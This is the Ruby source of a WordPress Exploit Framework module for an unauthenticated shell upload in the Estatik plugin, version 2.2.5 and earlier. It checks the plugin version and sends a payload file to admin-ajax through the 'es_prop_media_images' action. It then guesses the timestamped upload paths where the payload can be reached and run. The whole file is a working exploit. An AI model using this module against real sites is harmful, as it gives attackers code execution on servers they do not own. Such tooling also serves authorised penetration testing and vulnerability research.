# frozen_string_literal: true

class Wpxf::Exploit::EstatikV225ShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'Estatik <= 2.2.5 Unauthenticated Shell Upload',
      author: [
        'White Fir Design', # Discovery and disclosure
        'rastating'         # WPXF module
      ],
      references: [
        ['WPVDB', '8593'],
        ['URL', 'https://estatik.net/estatik-released-security-updates/']
      ],
      date: 'Aug 14 2016'
    )
  end

  def check
    check_plugin_version_from_changelog('estatik', 'readme.txt', '2.3.0')
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def payload_body_builder
    @start_timestamp = Time.now.to_i
    builder = Utility::BodyBuilder.new
    builder.add_field('action', 'es_prop_media_images')
    builder.add_file_from_string('es_media_images[]', payload.encoded, payload_name)
    builder
  end

  def expected_upload_response_code
    500
  end

  def possible_payload_upload_locations
    locations = []
    base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'))

    upload_timestamp_range.each do |timestamp|
      locations.push(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
    end

    locations
  end
end
